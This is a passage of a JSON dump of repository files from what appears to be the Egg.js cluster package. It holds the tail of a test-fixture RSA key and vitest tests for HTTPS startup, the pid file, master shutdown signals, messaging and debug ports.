aZFZOMATEQvK9\nInuNEYZgwUE7ykrj+p0/lxwTnV0ZPEBKz1i1On/psHek1J7eUObS0b653BhcVIGu\nnbnXX35OXmezxIsEE/y+eaEbis+jIVePvOiOeDsCgYBYYrl518dqh/E1ZVPr8YqL\nlyuJbh2MZjE8rW9XjsPEISuREWnEUeBPo8euo/4GN194ySOEMY69koayGxTlZw43\nNgJHrDAWeWSOpTXqSSv9OS4GWujLYzmlExuY5h4nRnVRdLoJQ9gOTrrYrlziXtvM\nQR/yPY2Le4loOGY5Mn72PQKBgQCB4wP8a9iJ1t7VOezKijpmYSOF6gndN/TPO6l3\nqtcw+bhAubj0zdWYN/rnTboBtz/cQ3EYJNmrWiiL5rPFsqXV1e5qyklhEfc3pYac\nj3Q21Nb3F8vepwYYGYeSIjFxtwdA+Unqqdy1kJFJmmf66HzoHdvYoaZGGUevSafC\nLXWkSwKBgG8JIQEDmmCwOK3Wg1AgfcQ3ysFzl25k2BsUgkGqGNIyQLc6XD5aZQRy\nEXWUUErlQ3TJK4vznd1vJ0Nrk9OW6hQ7lHvm7HZAu2Mj+GKsbwJU+y2CSVf9b9Ai\nWIRoSGbzE80EgnivAI9F7QexrahD8Jp0O0YPT2UBWfx3RZGjecNs\n-----END RSA PRIVATE KEY-----\n"
  },
  {
    "path": "packages/cluster/test/https.test.ts",
    "content": "import assert from 'node:assert';\n\nimport { mm, type MockApplication } from '@eggjs/mock';\nimport { detectPort } from 'detect-port';\nimport { HttpClient } from 'urllib';\nimport { describe, it, afterEach } from 'vitest';\n\nimport { getFilepath, cluster } from './utils.ts';\n\nconst httpclient = new HttpClient({ connect: { rejectUnauthorized: false } });\n\ndescribe('test/https.test.ts', () => {\n  let app: MockApplication;\n  afterEach(mm.restore);\n\n  describe('start https server with cluster options', () => {\n    afterEach(() => app && app.close());\n\n    it('should success with status 200', async () => {\n      const port = await detectPort();\n      const options = {\n        baseDir: getFilepath('apps/https-server'),\n        port,\n        https: {\n          key: getFilepath('server.key'),\n          cert: getFilepath('server.cert'),\n          ca: getFilepath('server.ca'),\n        },\n      };\n      app = cluster('apps/https-server', options);\n      await app.ready();\n\n      const response = await httpclient.request(`https://127.0.0.1:${port}`, {\n        dataType: 'text',\n      });\n\n      assert(response.status === 200);\n      assert(response.data === 'https server');\n    });\n\n    it('should listen https and http at the same time', async () => {\n      const port = await detectPort();\n      const debugPort = await detectPort();\n      const options = {\n        baseDir: getFilepath('apps/https-server'),\n        debugPort,\n        port,\n        https: {\n          key: getFilepath('server.key'),\n          cert: getFilepath('server.cert'),\n          ca: getFilepath('server.ca'),\n        },\n      };\n      app = cluster('apps/https-server', options);\n      await app.ready();\n\n      let response = await httpclient.request(`https://127.0.0.1:${port}`, {\n        dataType: 'text',\n      });\n      assert(response.status === 200);\n      assert(response.data === 'https server');\n\n      response = await httpclient.request(`http://127.0.0.1:${debugPort}`, {\n        dataType: 'text',\n      });\n      assert(response.status === 200);\n      assert(response.data === 'https server');\n    });\n  });\n\n  describe('start https server with app config cluster', () => {\n    afterEach(() => app && app.close());\n\n    it('should success with status 200', async () => {\n      const port = await detectPort();\n      const options = {\n        baseDir: getFilepath('apps/https-server-config'),\n        port,\n      };\n\n      app = cluster('apps/https-server-config', options);\n      await app.ready();\n\n      const response = await httpclient.request(`https://127.0.0.1:${port}`, {\n        dataType: 'text',\n      });\n\n      assert(response.status === 200);\n      assert(response.data === 'https server config');\n    });\n  });\n});\n"
  },
  {
    "path": "packages/cluster/test/master/after-start.test.ts",
    "content": "import { strict as assert } from 'node:assert';\nimport { scheduler } from 'node:timers/promises';\n\nimport { mm, type MockApplication } from '@eggjs/mock';\nimport { describe, it, afterEach, beforeAll, afterAll } from 'vitest';\n\nimport { cluster } from '../utils.ts';\n\n// TODO: flaky test on windows\ndescribe.skipIf(process.platform === 'win32')('after started', () => {\n  let app: MockApplication;\n  let readyMsg: string;\n\n  beforeAll(() => {\n    mm.env('default');\n    app = cluster('apps/egg-ready');\n    // app.debug();\n    setTimeout(() => {\n      app.proc.on('message', (msg: any) => {\n        if (msg.to === 'parent' && msg.action === 'egg-ready') {\n          readyMsg = `parent: port=${msg.data.port}, address=${msg.data.address}`;\n        }\n      });\n    }, 1);\n    return app.ready();\n  });\n  afterAll(() => app.close());\n\n  afterEach(mm.restore);\n\n  it('app/agent should receive egg-ready', async () => {\n    // work for message sent\n    await scheduler.wait(5000);\n    assert(readyMsg.match(/parent: port=\\d+, address=http:\\/\\/127.0.0.1:\\d+/));\n    app.expect('stdout', /agent receive egg-ready, with 1 workers/);\n    app.expect('stdout', /app receive egg-ready, worker 1/);\n  });\n\n  it('should receive egg-ready when app restart', async () => {\n    await app.httpRequest().get('/exception-app').expect(200);\n\n    await scheduler.wait(5000);\n    app.expect('stdout', /app receive egg-ready, worker 2/);\n  });\n\n  it('should receive egg-ready when agent restart', async () => {\n    await app.httpRequest().get('/exception-agent').expect(200);\n\n    await scheduler.wait(5000);\n\n    const matched = app.stdout.match(/agent receive egg-ready/g);\n    assert(matched.length === 2);\n  });\n});\n"
  },
  {
    "path": "packages/cluster/test/master/check-pid-file.test.ts",
    "content": "import { strict as assert } from 'node:assert';\nimport fs from 'node:fs';\nimport { rm } from 'node:fs/promises';\nimport path from 'node:path';\nimport { scheduler } from 'node:timers/promises';\n\nimport { mm, type MockApplication } from '@eggjs/mock';\nimport { describe, it, afterEach, beforeEach } from 'vitest';\n\nimport { cluster, getFilepath } from '../utils.ts';\n\nlet app: MockApplication;\n\nafterEach(mm.restore);\n\ndescribe.skipIf(process.platform === 'win32').sequential('pid file', () => {\n  const runDir = getFilepath('apps/master-worker-started/run');\n  const pidFile = path.join(runDir, './pid');\n\n  beforeEach(() => rm(runDir, { force: true, recursive: true }));\n  afterEach(() => app.close());\n\n  it('master should write pid file and delete', async () => {\n    app = cluster('apps/master-worker-started', { pidFile } as any);\n    // app.debug();\n\n    await app\n      .expect('stdout', /egg start/)\n      .expect('stdout', /egg started/)\n      .expect('code', 0)\n      .end();\n\n    assert(fs.existsSync(pidFile));\n    const pid = fs.readFileSync(pidFile, 'utf-8');\n    assert(pid === String(app.process.pid));\n\n    app.proc.kill('SIGTERM');\n    await scheduler.wait(6000);\n    app.expect('stdout', /\\[master\\] exit with code:0/);\n    assert(!fs.existsSync(pidFile));\n  });\n\n  it.skip('master should ignore fail when delete pid file ', async () => {\n    app = cluster('apps/master-worker-started', { pidFile } as any);\n    // app.debug();\n\n    await app\n      .expect('stdout', /egg start/)\n      // .expect('stdout', /egg started/)\n      .expect('code', 0)\n      .end();\n\n    assert(fs.existsSync(pidFile));\n    const pid = fs.readFileSync(pidFile, 'utf-8');\n    assert(pid === String(app.process.pid));\n\n    // delete\n    fs.unlinkSync(pidFile);\n\n    app.proc.kill('SIGTERM');\n    await scheduler.wait(6000);\n    app.expect('stdout', /\\[master\\] exit with code:0/);\n    assert(!fs.existsSync(pidFile));\n  });\n});\n"
  },
  {
    "path": "packages/cluster/test/master/close-master.test.ts",
    "content": "import { strict as assert } from 'node:assert';\nimport { once } from 'node:events';\nimport { scheduler } from 'node:timers/promises';\n\nimport { mm, type MockApplication } from '@eggjs/mock';\nimport { describe, it, afterEach } from 'vitest';\n\nimport { cluster } from '../utils.ts';\n\nlet app: MockApplication;\n\nafterEach(mm.restore);\n\ndescribe.skip('close master', () => {\n  afterEach(() => app.close());\n\n  it('master will close agent and app worker', async () => {\n    mm.env('local');\n    mm(process.env, 'EGG_APP_WORKER_LOGGER_LEVEL', 'INFO');\n    mm(process.env, 'EGG_AGENT_WORKER_LOGGER_LEVEL', 'INFO');\n    mm(process.env, 'EGG_MASTER_LOGGER_LEVEL', 'DEBUG');\n    app = cluster('apps/master-worker-started');\n    // app.debug();\n\n    await app\n      .expect('stdout', /egg start/)\n      .expect('stdout', /egg started/)\n      .expect('code', 0)\n      .end();\n\n    // 2017-05-27 21:24:38,064 INFO 59065 [master] master is killed by signal SIGTERM, closing\n    // 2017-05-27 21:24:38,065 INFO 59065 [master] close done, exiting with code:0\n    // 2017-05-27 21:24:38,065 INFO 59065 [master] exit with code:0\n    // 2017-05-27 21:24:38,067 INFO 59067 [app_worker] receive signal SIGTERM, exiting with code:0\n    // 2017-05-27 21:24:38,068 INFO 59067 [app_worker] exit with code:0\n    // 2017-05-27 21:24:38,106 INFO 59066 [agent_worker] receive signal SIGTERM, exiting with code:0\n    // 2017-05-27 21:24:38,107 INFO 59066 [agent_worker] exit with code:0\n    app.proc.kill('SIGTERM');\n    await scheduler.wait(6000);\n    assert(app.proc.killed === true);\n    app.expect('stdout', /INFO \\d+ \\[master\\] master is killed by signal SIGTERM, closing/);\n    app.expect('stdout', /\\[master\\] system memory: total \\d+, free \\d+/);\n    app.expect('stdout', /\\[master\\] process info: heap_limit \\d+, heap_used \\d+/);\n    app.expect('stdout', /DEBUG \\d+ \\[master\\] close done, exiting with code:0/);\n    app.expect('stdout', /INFO \\d+ \\[master\\] exit with code:0/);\n    app.expect('stdout', /INFO \\d+ \\[app_worker\\] receive signal SIGTERM, exiting with code:0/);\n    app.expect('stdout', /INFO \\d+ \\[agent_worker\\] receive signal SIGTERM, exiting with code:0/);\n    app.notExpect('stderr', /\\[app_worker\\] receive disconnect event in cluster fork mode/);\n    app.notExpect('stderr', /\\[agent_worker\\] receive disconnect event /);\n    app.expect('stdout', /INFO \\d+ \\[app_worker\\] exit with code:0/);\n    app.expect('stdout', /INFO \\d+ \\[agent_worker\\] exit with code:0/);\n    app.expect('stdout', /INFO \\d+ \\[master\\] wait 5000ms/);\n  });\n\n  it.skip('master kill by SIGKILL and agent, app worker exit too', async () => {\n    mm.env('local');\n    app = cluster('apps/master-worker-started');\n    // app.debug();\n\n    await app\n      .expect('stdout', /egg start/)\n      .expect('stdout', /egg started/)\n      .expect('code', 0)\n      .end();\n\n    // 2017-05-28 00:08:19,047 INFO 59500 [master] egg started on http://127.0.0.1:17001 (2364ms)\n    // 2017-05-28 00:08:19,058 ERROR 59502 [app_worker] receive disconnect event in cluster fork mode, exitedAfterDisconnect:false\n    // 2017-05-28 00:08:19,108 ERROR 59501 [agent_worker] receive disconnect event on child_process fork mode, exiting with code:110\n    // 2017-05-28 00:08:19,109 ERROR 59501 [agent_worker] exit with code:110\n    app.proc.kill('SIGKILL');\n\n    await scheduler.wait(6000);\n    assert(app.proc.killed === true);\n    app.notExpect('stdout', /\\[master\\] master is killed by signal SIGTERM, closing/);\n    app.notExpect('stdout', /\\[master\\] close done, exiting with code:0/);\n    app.notExpect('stdout', /\\[master\\] exit with code:0/);\n    app.expect('stderr', /\\[app_worker\\] receive disconnect event /);\n    app.expect('stderr', /\\[agent_worker\\] receive disconnect event /);\n    app.expect('stderr', /\\[agent_worker\\] exit with code:110/);\n  });\n\n  it.skip('master kill by SIGKILL and exit multi workers', async () => {\n    mm.env('local');\n    app = cluster('apps/master-worker-started', { workers: 4 });\n    // app.debug();\n\n    await app\n      .expect('stdout', /egg start/)\n      .expect('stdout', /egg started/)\n      .expect('code', 0)\n      .end();\n\n    // 2017-05-28 00:08:19,047 INFO 59500 [master] egg started on http://127.0.0.1:17001 (2364ms)\n    // 2017-05-28 00:08:19,058 ERROR 59502 [app_worker] receive disconnect event in cluster fork mode, exitedAfterDisconnect:false\n    // 2017-05-28 00:08:19,108 ERROR 59501 [agent_worker] receive disconnect event on child_process fork mode, exiting with code:110\n    // 2017-05-28 00:08:19,109 ERROR 59501 [agent_worker] exit with code:110\n    app.proc.kill('SIGKILL');\n\n    await scheduler.wait(6000);\n    assert(app.proc.killed === true);\n    app.notExpect('stdout', /\\[master\\] master is killed by signal SIGTERM, closing/);\n    app.notExpect('stdout', /\\[master\\] close done, exiting with code:0/);\n    app.notExpect('stdout', /\\[master\\] exit with code:0/);\n    app.expect('stderr', /\\[app_worker\\] receive disconnect event /);\n    app.expect('stderr', /\\[agent_worker\\] receive disconnect event /);\n    app.expect('stderr', /\\[agent_worker\\] exit with code:110/);\n  });\n\n  it.skip('use SIGTERM close master', async () => {\n    mm.env('local');\n    app = cluster('apps/master-worker-started');\n    // app.debug();\n\n    await app\n      .expect('stdout', /egg start/)\n      .expect('stdout', /egg started/)\n      .expect('code', 0)\n      .end();\n\n    // 2017-05-28 00:14:32,982 INFO 59714 [master] egg started on http://127.0.0.1:17001 (1606ms)\n    // 2017-05-28 00:14:32,987 INFO 59714 [master] master is killed by signal SIGTERM, closing\n    // 2017-05-28 00:14:32,988 INFO 59714 [master] close done, exiting with code:0\n    // 2017-05-28 00:14:32,988 INFO 59714 [master] exit with code:0\n    // 2017-05-28 00:14:32,996 INFO 59716 [app_worker] receive signal SIGTERM, exiting with code:0\n    // 2017-05-28 00:14:32,997 INFO 59716 [app_worker] exit with code:0\n    // 2017-05-28 00:14:33,047 INFO 59715 [agent_worker] receive signal SIGTERM, exiting with code:0\n    // 2017-05-28 00:14:33,048 INFO 59715 [agent_worker] exit with code:0\n    app.proc.kill('SIGTERM');\n    await scheduler.wait(6000);\n    assert(app.proc.killed === true);\n    app.expect('stdout', /\\[master\\] master is killed by signal SIGTERM, closing/);\n    app.expect('stdout', /\\[master\\] system memory: total \\d+, free \\d+/);\n    app.expect('stdout', /\\[master\\] process info: heap_limit \\d+, heap_used \\d+/);\n    app.expect('stdout', /\\[master\\] exit with code:0/);\n  });\n\n  it.skip('use SIGQUIT close master', async () => {\n    mm.env('local');\n    app = cluster('apps/master-worker-started');\n    // app.debug();\n\n    await app\n      .expect('stdout', /egg start/)\n      .expect('stdout', /egg started/)\n      .expect('code', 0)\n      .end();\n\n    app.proc.kill('SIGQUIT');\n    await scheduler.wait(6000);\n\n    assert(app.proc.killed === true);\n    app.expect('stdout', /\\[master\\] master is killed by signal SIGQUIT, closing/);\n    app.expect('stdout', /\\[master\\] system memory: total \\d+, free \\d+/);\n    app.expect('stdout', /\\[master\\] process info: heap_limit \\d+, heap_used \\d+/);\n    app.expect('stdout', /\\[master\\] exit with code:0/);\n  });\n\n  it.skip('use SIGINT close master', async () => {\n    mm.env('local');\n    app = cluster('apps/master-worker-started');\n    // app.debug();\n\n    await app\n      .expect('stdout', /egg start/)\n      .expect('stdout', /egg started/)\n      .expect('code', 0)\n      .end();\n\n    app.proc.kill('SIGINT');\n    await scheduler.wait(6000);\n\n    assert(app.proc.killed === true);\n    app.expect('stdout', /\\[master\\] master is killed by signal SIGINT, closing/);\n    app.expect('stdout', /\\[master\\] system memory: total \\d+, free \\d+/);\n    app.expect('stdout', /\\[master\\] process info: heap_limit \\d+, heap_used \\d+/);\n    app.expect('stdout', /\\[master\\] exit with code:0/);\n  });\n\n  it.skip('should close when set EGG_MASTER_CLOSE_TIMEOUT', async () => {\n    mm.env('local');\n    mm(process.env, 'EGG_APP_WORKER_LOGGER_LEVEL', 'INFO');\n    mm(process.env, 'EGG_AGENT_WORKER_LOGGER_LEVEL', 'INFO');\n    mm(process.env, 'EGG_MASTER_LOGGER_LEVEL', 'DEBUG');\n    mm(process.env, 'EGG_MASTER_CLOSE_TIMEOUT', 1000);\n    app = cluster('apps/master-worker-started');\n    // app.debug();\n\n    await app\n      .expect('stdout', /egg start/)\n      .expect('stdout', /egg started/)\n      .expect('code', 0)\n      .end();\n\n    app.proc.kill('SIGTERM');\n    await scheduler.wait(2000);\n    assert(app.proc.killed === true);\n    app.expect('stdout', /INFO \\d+ \\[master\\] exit with code:0/);\n    app.expect('stdout', /INFO \\d+ \\[master\\] wait 1000ms/);\n  });\n\n  it.skip('kill order', async () => {\n    mm.env('local');\n    mm(process.env, 'EGG_APP_WORKER_LOGGER_LEVEL', 'INFO');\n    mm(process.env, 'EGG_AGENT_WORKER_LOGGER_LEVEL', 'INFO');\n    mm(process.env, 'EGG_MASTER_LOGGER_LEVEL', 'DEBUG');\n    mm(process.env, 'EGG_APP_CLOSE_TIMEOUT', 1000);\n    mm(process.env, 'EGG_AGENT_CLOSE_TIMEOUT', 1000);\n    app = cluster('apps/worker-close-timeout');\n\n    await app\n      .expect('stdout', /egg start/)\n      .expect('stdout', /egg started/)\n      .expect('code', 0)\n      .end();\n\n    app.proc.kill('SIGTERM');\n    await once(app.proc, 'exit');\n\n    app.expect('stdout', /INFO \\d+ \\[master\\] exit with code:0/);\n    app.expect('stdout', /INFO \\d+ \\[master\\] wait 1000ms/);\n    const appTimeoutMatch = app.stdout.match(/app worker start close: (\\d+)/);\n    const agentTimeoutMatch = app.stdout.match(/agent worker start close: (\\d+)/);\n    const appTimeout = Number(appTimeoutMatch && appTimeoutMatch[1]);\n    const agentTimeout = Number(agentTimeoutMatch && agentTimeoutMatch[1]);\n    assert(!Number.isNaN(appTimeout));\n    assert(!Number.isNaN(agentTimeout));\n    assert(agentTimeout - appTimeout > 1000);\n\n    assert(!/app worker never called after timeout/.test(app.stdout));\n    assert(!/agent worker never called after timeout/.test(app.stdout));\n  });\n\n  it.skip('close master will terminate all sub processes', async () => {\n    mm.env('local');\n    app = cluster('apps/sub-process');\n\n    await app\n      .expect('stdout', /egg start/)\n      // .debug()\n      .expect('stdout', /egg started/)\n      .expect('code', 0)\n      .end();\n\n    await scheduler.wait(3000);\n    app.proc.kill('SIGTERM');\n    await scheduler.wait(5000);\n    assert(app.proc.killed === true);\n    app.expect('stdout', /worker1 \\[\\d+\\] started/);\n    app.expect('stdout', /worker2 \\[\\d+\\] started/);\n\n    app.expect('stdout', /\\[master\\] master is killed by signal SIGTERM, closing/);\n    app.expect('stdout', /\\[master\\] system memory: total \\d+, free \\d+/);\n    app.expect('stdout', /\\[master\\] process info: heap_limit \\d+, heap_used \\d+/);\n    app.expect('stdout', /\\[master\\] exit with code:0/);\n    app.expect('stdout', /worker1 on sigterm and exit/);\n    app.expect('stdout', /worker2 on sigterm and exit/);\n\n    // worker1 and worker2 are both exit\n    let res = app.stdout.match(/worker1 \\[(\\d+)\\] started/);\n    const pid1 = res && res[1];\n    res = app.stdout.match(/worker2 \\[(\\d+)\\] started/);\n    const pid2 = res && res[1];\n    assert(!alive(pid1));\n    assert(!alive(pid2));\n  });\n\n  it('close master will terminate all sub processes with sigkill', async () => {\n    mm.env('local');\n    app = cluster('apps/sub-process-sigkill');\n\n    await app\n      .expect('stdout', /egg start/)\n      // .debug()\n      .expect('stdout', /egg started/)\n      .expect('code', 0)\n      .end();\n\n    await scheduler.wait(5000);\n    app.proc.kill('SIGTERM');\n    await scheduler.wait(8000);\n    assert(app.proc.killed === true);\n    app.expect('stdout', /worker1 \\[\\d+\\] started/);\n    app.expect('stdout', /worker2 \\[\\d+\\] started/);\n\n    app.expect('stdout', /\\[master\\] master is killed by signal SIGTERM, closing/);\n    app.expect('stdout', /\\[master\\] system memory: total \\d+, free \\d+/);\n    app.expect('stdout', /\\[master\\] process info: heap_limit \\d+, heap_used \\d+/);\n    app.expect('stdout', /\\[master\\] exit with code:0/);\n    app.expect('stdout', /worker1 on sigterm and not exit/);\n    app.expect('stdout', /worker2 on sigterm and exit/);\n    app.expect('stdout', /worker1 alived/);\n\n    // worker1 and worker2 are both exit\n    let res = app.stdout.match(/worker1 \\[(\\d+)\\] started/);\n    const pid1 = res && res[1];\n    res = app.stdout.match(/worker2 \\[(\\d+)\\] started/);\n    const pid2 = res && res[1];\n    assert(!alive(pid1));\n    assert(!alive(pid2));\n  });\n});\n\nfunction alive(pid: number) {\n  try {\n    // success means it's still alive\n    process.kill(pid, 0);\n    return true;\n  } catch {\n    // error means it's dead\n    return false;\n  }\n}\n"
  },
  {
    "path": "packages/cluster/test/master/messenger.test.ts",
    "content": "import { scheduler } from 'node:timers/promises';\n\nimport { mm, type MockApplication } from '@eggjs/mock';\nimport { describe, it, afterEach } from 'vitest';\n\nimport { cluster } from '../utils.ts';\n\nlet app: MockApplication;\n\nafterEach(mm.restore);\n\ndescribe('Messenger', () => {\n  afterEach(() => app.close());\n\n  // FIXME: flaky test on windows, The latest test that might've caused the error is \"parent -> app/agent\"\n  it.skipIf(process.platform === 'win32')('parent -> app/agent', async () => {\n    app = cluster('apps/messenger');\n    // app.debug();\n\n    await app.ready();\n\n    app.proc.send({\n      action: 'parent2app',\n      data: 'parent -> app',\n      to: 'app',\n    });\n    app.proc.send({\n      action: 'parent2agent',\n      data: 'parent -> agent',\n      to: 'agent',\n    });\n\n    await scheduler.wait(1000);\n    app.expect('stdout', /parent -> agent/);\n    app.expect('stdout', /parent -> app/);\n  });\n\n  it('should app <-> agent', async () => {\n    app = cluster('apps/messenger');\n    // app.debug();\n    await app.ready();\n\n    await scheduler.wait(1000);\n    app.expect('stdout', /app -> agent/);\n    // app.expect('stdout', /agent -> app/);\n    // app.expect('stdout', /app: agent2appbystring/);\n    // app.expect('stdout', /agent: app2agentbystring/);\n  });\n\n  it.skip('should send multi app worker', async () => {\n    app = cluster('apps/send-to-multiapp', { workers: 4 });\n    // app.debug();\n    await app.ready();\n    await scheduler.wait(1000);\n    app.expect('stdout', /\\d+ '?got'?/);\n  });\n\n  it('sendTo should work', async () => {\n    app = cluster('apps/messenger');\n    // app.debug();\n    await app.ready();\n    // app.proc.on('message', console.log);\n    await scheduler.wait(1000);\n    // app.expect('stdout', /app sendTo agent done/);\n    // app.expect('stdout', /agent sendTo agent done/);\n    // app.expect('stdout', /app sendTo app done/);\n    // app.expect('stdout', /agent sendTo app done/);\n  });\n\n  // it('egg-script exit', async () => {\n  //   app = {\n  //     close: async () => {\n  //       await scheduler.wait(1);\n  //     },\n  //   } as any;\n  //   const appDir = path.join(__dirname, 'fixtures/apps/script-start');\n  //   const errLogPath = path.join(appDir, 'stderr.log');\n  //   const errFd = fs.openSync(errLogPath, 'w+');\n  //   const p = cp.fork(path.join(appDir, 'start-server.js'), {\n  //     stdio: [\n  //       'ignore',\n  //       'ignore',\n  //       errFd,\n  //       'ipc',\n  //     ],\n  //   });\n  //   let masterPid;\n  //   p.on('message', msg => {\n  //     masterPid = msg;\n  //   });\n  //   await scheduler.wait(10000);\n  //   process.kill(masterPid);\n  //   process.kill(p.pid);\n  //   fs.closeSync(errFd);\n  //   const stderr = fs.readFileSync(errLogPath).toString();\n  //   assert(!/channel closed/.test(stderr));\n  // });\n});\n"
  },
  {
    "path": "packages/cluster/test/master/others.test.ts",
    "content": "import { strict as assert } from 'node:assert';\nimport { once } from 'node:events';\nimport fs from 'node:fs';\nimport path from 'node:path';\nimport { scheduler } from 'node:timers/promises';\n\nimport { mm, type MockApplication } from '@eggjs/mock';\nimport { request } from '@eggjs/supertest';\nimport { describe, it, afterEach, beforeAll, afterAll } from 'vitest';\n\nimport { cluster, getFilepath } from '../utils.ts';\n\nlet app: MockApplication;\n\nafterEach(mm.restore);\n\n// TODO: flaky test on windows, Hook timed out in 20000ms\ndescribe.skipIf(process.platform === 'win32')('--cluster', () => {\n  beforeAll(() => {\n    app = cluster('apps/cluster_mod_app');\n    return app.ready();\n  });\n  afterAll(() => app.close());\n\n  it('should online cluster mode startup success', () => {\n    return app.httpRequest().get('/portal/i.htm').expect('hi cluster').expect(200);\n  });\n});\n\ndescribe.skip('framework start', () => {\n  let app: MockApplication;\n\n  afterEach(() => app.close());\n\n  beforeAll(() => {\n    mm.env('prod');\n    app = cluster('apps/frameworkapp', {\n      framework: getFilepath('apps/frameworkbiz'),\n    });\n    return app.ready();\n  });\n\n  it('should start with prod env', () => {\n    return app\n      .httpRequest()\n      .get('/')\n      .expect({\n        frameworkCore: true,\n        frameworkPlugin: true,\n        frameworkAgent: true,\n      })\n      .expect(200);\n  });\n});\n\ndescribe.skip('reload worker', () => {\n  let app: MockApplication;\n\n  afterAll(() => app.close());\n\n  beforeAll(() => {\n    app = cluster('apps/reload-worker', {\n      workers: 4,\n    });\n    // app.debug();\n    return app.ready();\n  });\n\n  it('should restart 4 workers', async () => {\n    app.process.send({\n      to: 'master',\n      action: 'reload-worker',\n    });\n    await scheduler.wait(5000);\n    app.expect('stdout', /app_worker#4:\\d+ disconnect/);\n    app.expect('stdout', /app_worker#8:\\d+ started/);\n  });\n});\n\ndescribe.skip('agent should receive app worker numbers', () => {\n  let app: MockApplication;\n  beforeAll(() => {\n    mm.env('default');\n    app = cluster('apps/pid', { workers: 2 });\n    // app.debug();\n    return app.ready();\n  });\n  afterAll(() => app.close());\n\n  it('should every app worker will get message', async () => {\n    await scheduler.wait(1000);\n    // start two workers\n    app.expect('stdout', /#1 agent get 1 workers \\[ \\d+ \\]/);\n    app.expect('stdout', /#2 agent get 2 workers \\[ \\d+, \\d+ \\]/);\n  });\n\n  it.skip('agent should get update message after app died', async () => {\n    try {\n      await app.httpRequest().get('/exit');\n    } catch {\n      // ignore\n    }\n\n    await scheduler.wait(9000);\n    // oh, one worker dead\n    app.expect('stdout', /#3 agent get 1 workers \\[ \\d+ \\]/);\n    // never mind, fork new worker\n    app.expect('stdout', /#4 agent get 2 workers \\[ \\d+, \\d+ \\]/);\n  });\n\n  it.skip('agent should get message when agent restart', async () => {\n    app.process.send({\n      to: 'agent',\n      action: 'kill-agent',\n    });\n\n    await scheduler.wait(9000);\n    // app.expect('stdout', /#1 agent get 2 workers \\[ \\d+, \\d+ \\]/);\n  });\n});\n\ndescribe.skip('app should receive agent worker numbers', () => {\n  let app: MockApplication;\n  beforeAll(() => {\n    mm.env('default');\n    app = cluster('apps/pid');\n    app.coverage(false);\n    // app.debug();\n    return app.ready();\n  });\n  afterAll(() => app.close());\n\n  it('agent start should get message', async () => {\n    app.process.send({\n      to: 'agent',\n      action: 'kill-agent',\n    });\n\n    await scheduler.wait(5000);\n    app.expect('stdout', /#1 app get 1 workers \\[/);\n    app.expect('stdout', /#2 app get 0 workers \\[/);\n  });\n});\n\ndescribe.skip('debug', () => {\n  let app: MockApplication;\n  afterEach(() => app.close());\n\n  // Debugger listening on ws://127.0.0.1:9229/221caad4-e2d0-4630-b0bb-f7fb27b81ff6\n  const debugProtocol = 'inspect';\n\n  it('should debug', () => {\n    app = cluster('apps/debug-port', {\n      workers: 2,\n      opt: { execArgv: [`--${debugProtocol}`] },\n    });\n\n    return (\n      app\n        // .debug()\n        .coverage(false)\n        // master\n        .expect('stderr', /Debugger listening on .*:(5858|9229)/)\n        // agent\n        .expect('stderr', /Debugger listening on .*:5800/)\n        .expect('stdout', /debug port of agent is 5800/)\n        // worker#1\n        .expect('stderr', /Debugger listening on .*:(5859|9230)/)\n        .expect('stdout', /debug port of app is (5859|9230)/)\n        // worker#2\n        .expect('stderr', /Debugger listening on .*:(5860|9231)/)\n        .expect('stdout', /debug port of app is (5860|9231)/)\n        .end()\n    );\n  });\n\n  it('should debug with port', () => {\n    app = cluster('apps/debug-port', {\n      workers: 2,\n      opt: { execArgv: [`--${debugProtocol}=9000`] },\n    });\n\n    return (\n      app\n        // .debug()\n        .coverage(false)\n        // master\n        .expect('stderr', /Debugger listening on .*:9000/)\n        // agent\n        .expect('stderr', /Debugger listening on .*:5800/)\n        .expect('stdout', /debug port of agent is 5800/)\n        // worker#1\n        .expect('stderr', /Debugger listening on .*:9001/)\n        .expect('stdout', /debug port of app is 9001/)\n        // worker#2\n        .expect('stderr', /Debugger listening on .*:9002/)\n        .expect('stdout', /debug port of app is 9002/)\n        .end()\n    );\n  });\n\n  describe('debug message', () => {\n    const result: any = { app: [], agent: {} };\n\n    afterAll(() => app.close());\n\n    beforeAll(() => {\n      app = cluster('apps/egg-ready', {\n        workers: 2,\n        opt: { execArgv: [`--${debugProtocol}`] },\n      });\n      // app.debug();\n      setTimeout(() => {\n        app.proc.on('message', (msg: any) => {\n          if (msg.to === 'parent' && msg.action === 'debug') {\n            if (msg.from === 'agent') {\n              result.agent = msg.data;\n            } else {\n              result.app.push(msg.data);\n            }\n          }\n        });\n      }, 1);\n      return app.ready();\n    });\n\n    it('parent should receive debug', async () => {\n      // work for message sent\n      await scheduler.wait(5000);\n      app.expect('stdout', /agent receive egg-ready, with 2 workers/);\n      app.expect('stdout', /app receive egg-ready/);\n      assert(result.agent.debugPort === 5800);\n      assert(result.app.length === 2);\n      assert(result.app[0].pid);\n      assert(result.app[0].debugPort === 5859 || result.app[0].debugPort === 9230);\n      assert(result.app[1].debugPort === 5860 || result.app[1].debugPort === 9231);\n    });\n  });\n\n  describe('debug message with port', () => {\n    const result: any = { app: [], agent: {} };\n\n    afterAll(() => app.close());\n\n    beforeAll(() => {\n      app = cluster('apps/egg-ready', {\n        workers: 2,\n        opt: { execArgv: [`--${debugProtocol}=9000`] },\n      });\n      // app.debug();\n      setTimeout(() => {\n        app.proc.on('message', (msg: any) => {\n          if (msg.to === 'parent' && msg.action === 'debug') {\n            if (msg.from === 'agent') {\n              result.agent = msg.data;\n            } else {\n              result.app.push(msg.data);\n            }\n          }\n        });\n      }, 1);\n      return app.ready();\n    });\n\n    it('parent should receive debug', async () => {\n      // work for message sent\n      await scheduler.wait(5000);\n      app.expect('stdout', /agent receive egg-ready, with 2 workers/);\n      app.expect('stdout', /app receive egg-ready/);\n      assert(result.agent.debugPort === 5800);\n      assert(result.app.length === 2);\n      assert(result.app[0].debugPort && result.app[0].pid);\n      assert(result.app[0].debugPort === 9001);\n      assert(result.app[1].debugPort === 9002);\n    });\n  });\n\n  describe('should not debug message', () => {\n    let result: boolean;\n\n    afterAll(() => app.close());\n\n    beforeAll(() => {\n      app = cluster('apps/egg-ready');\n      // app.debug();\n      setTimeout(() => {\n        app.proc.on('message', (msg: any) => {\n          if (msg.to === 'parent' && msg.action === 'debug') {\n            result = true;\n          }\n        });\n      }, 1);\n      return app.ready();\n    });\n\n    it('parent should not receive debug', async () => {\n      // work for message sent\n      await scheduler.wait(5000);\n      app.expect('stdout', /agent receive egg-ready, with 1 workers/);\n      app.expect('stdout', /app receive egg-ready/);\n      assert(!result);\n    });\n  });\n\n  describe('kill at debug', () => {\n    let workerPid: number;\n\n    afterAll(() => 